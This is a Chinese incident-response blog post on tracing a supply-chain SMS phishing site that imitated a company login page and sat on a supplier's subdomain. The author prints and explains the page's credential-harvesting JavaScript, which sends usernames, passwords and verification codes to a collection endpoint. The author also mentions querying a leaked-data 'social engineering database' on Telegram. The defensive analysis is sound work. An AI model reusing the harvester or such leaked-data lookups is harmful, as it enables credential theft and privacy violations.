记一次供应链钓鱼事件的处置
xhys 发表于 北京 企业安全 629浏览 · 2024-08-19 01:00

之前在我当猴子的时候,我正在愉快的摸鱼,但是突然,甲方那边突然传过来说有人可能被钓鱼 了,让我紧急去处置,我瞬间就懵了,我手里的零食也不香了。硬着头皮上吧!

因为保密原因,所以码会很重,但是绝对能让师傅们学到什么,并且我看现在市面上供应链溯源处置文章比较少,他和传统的溯源思路还是有些区别的,所以我写下这篇文章想帮助还在防御的兄弟们遇到这种情况的时候有一个比较清晰的思路

这条短信,当时企业很多员工都收到的。所以这次是一次有针对性的钓鱼。

然后我先分析网站,进行短链恢复。

是一个登陆网站,访问一下看看


个人吐糟一下,这个网页真的粗糙,我们先看看这个网站在钓鱼的逻辑


随便输入一个账号,然后我们就进入


因为我们系统输入账号密码还需要验证码的,所以这里也出现填写验证码,如果你在这里填写验证码,你会发现你点击登陆,是没有任何响应的。证明这个钓鱼网站有点太水了。我们看一下源代码


我们会发现,前端你输入什么会跳转到验证码已发送;当前网络拥堵,请等待1-2分钟,然后,其他功能都是摆设(PS:这个网站从上报到我们这里到关闭中间只有20分钟,所以我们在尽力先把主要给测试了

var isValicode = false;
$("#loginbtn").click(function(){
    if ($("#username").val().length<4 || $("#password").val().length <4){
        alert("用户名或密码错误");
        return false;
    }
    if (!isValicode){      
      $.ajax({
        type: "POST",
        url: '/search/998a1628-93d8-4e12-bc4b-6a3eccf2b27d',
        data: 'data='+encodeURIComponent($("#username").val()+","+$("#password").val()),
        success: function(){ 
          $("#passwordinput").hide();
          $("#valicodeinput").show();
        }
      });
      isValicode = true;
    }else{
      if($("#vcode").val().length < 2){
        $("#warmingtxt").text("验证码错误");
        $("#warmingtxt").css("color","red");
        return false;
      }else{
        $.ajax({
        type: "POST",
        url: '/search/998a1628-93d8-4e12-bc4b-6a3eccf2b27d',
        data: 'data='+encodeURIComponent($("#username").val()+","+$("#password").val()+","+$("#vcode").val()),
        success: function(){
          var info = '系统繁忙请稍后再试。';
          if (!info.startsWith('{__') && !info.endsWith('__}') && info !== ""){
              alert(info);
          }
          var rurl = '';
          if (!rurl.startsWith('{__') && !rurl.endsWith('__}') && rurl !== ""){
              window.location.href = rurl;
          }
          return true;
        }
      });
      }
      return false;
    }

});

给大家拉出来,这代码确实还不如扔给chatgpt来写,当用户名或密码长度小于4时,给出的错误提示是“用户名或密码错误”,

如果isValicodefalse,则通过AJAX请求发送用户名和密码到服务器,请求验证码。请求成功后,隐藏密码输入框,显示验证码输入框,并将isValicode设置为true

如果isValicodetrue,则检查验证码输入框的内容长度。如果长度小于2,显示验证码错误消息;如果长度足够,则再次通过AJAX请求发送用户名、密码和验证码到服务器进行验证。

但是,AJAX异步性未处理还有那死逻辑混乱的不要不要的,所以本来是先验证账号密码输入正确,才会弹出验证码。但是,现在输入什么都直接跳转到输入验证码的。

OK,钓鱼网站就这些,然后当我们去反查这个网站域名的时候,我发现是一家不小的供应商公司,哦吼!

这里查到是个云服务器47.100.XXX.XXX

然后,进入这个网站官网我发现,官网下面有个客户案例上面就有我们单位(没有图片,保密),所以立马与单位沟通,发现是我们的某个下面部分的供应商。

好家伙,现在供应链攻击确实多,但是如何应对,其实很普通钓鱼还是有一些区别的。

然后我去排查钓鱼网站的ip是不是跟主站用的是一个服务器。


他用的是47.102.XXX.XXX,不过两个都是云服务器。

网站当时急,就先查到这里,然后网站下线了,我们转头查询手机号。

手机号经过处理

1.手机进行呼叫转移,任何人都无法回拨

2.然后就是微信支付宝都未注册


3.然后我将这个手机号加到我通讯录里面,去各大平台去搜索了,都是无所收获。

4.通过tg上社工库查询了也只能查到这个手机号的归属地

归属地: 江苏 徐州

运营商: 中国移动

有一个小突破就是他有钉钉号,能够得到最后一个字(然后注册有钉钉的话,我们到时候可以配合着警方,进行深入调查。)


然后,当时就把所有材料整理。与供应商联系。我怀疑是供应商云服务器被黑了,才导致红队能利用这个域名,搭建一个和我们单位长的很像的钓鱼网站,来进行钓鱼。

如果事情这么简单就好了,供应商那边回复,钓鱼短信不是他们发的,钓鱼网站不是他们开发的,并且,云服务器IP不一样,然后这个二级域名,他们没有。所以跟他们无关!!

如何处理供应商的胡扯

短信和网站肯定不是他们搭建的,这是肯定的。

第一步

我又去查一下子域名,发现这个域名下备案的只有四个子域名,其中就有我们的钓鱼网站,

第二步

我通过fofa鹰图等,去查询了这个云服务器的IP


得到这个IP,下有54个域名,然后我统一跑了一遍存活,发现全部都访问不了


然后,我导出仔细分析,发现了端倪。


就是这个云服务器,在2023年底的时候就已经把他们之前搭建的环境全部关停的,但是里面有他们公司业务,能证明这个云服务器是他们公司使用过的,但是在当时环境关的时候,留下了22端口,我推测应该是红队通过22端口进去了,然后在7.29号搭建钓鱼网站来针对我们钓鱼。

然后还有个一个问题就是,红队是利用这个主站创建的二级域名(这个已经确认了),如果拿不到主域名解析账号的管理权限(只有此账号才有权限添加二级域名的解析)他是无法用这个网站去钓鱼的,不过利用这个网站钓鱼,非常具有迷惑性。

总结

供应链钓鱼,与之前有一个点区别就是,我们防守人员很多时候要借助供应链厂商那边的支持。因为钓鱼网站,是供应商的网站,和之前溯源IP的思路是不一样的,我们要对网站进行分析,看他后台发送到哪里了。然后就是我们很多时候无法保证供应商的那边的安全的水平,很多软件开发的公司,可能就是没有安全的概念。并且,我们作为安全人员,我们也要取得供应商那边的全力支持,否则我们溯源的所花费的时间很精力就会非常大,成效也就一般。

0 条评论
某人
表情
可输入 255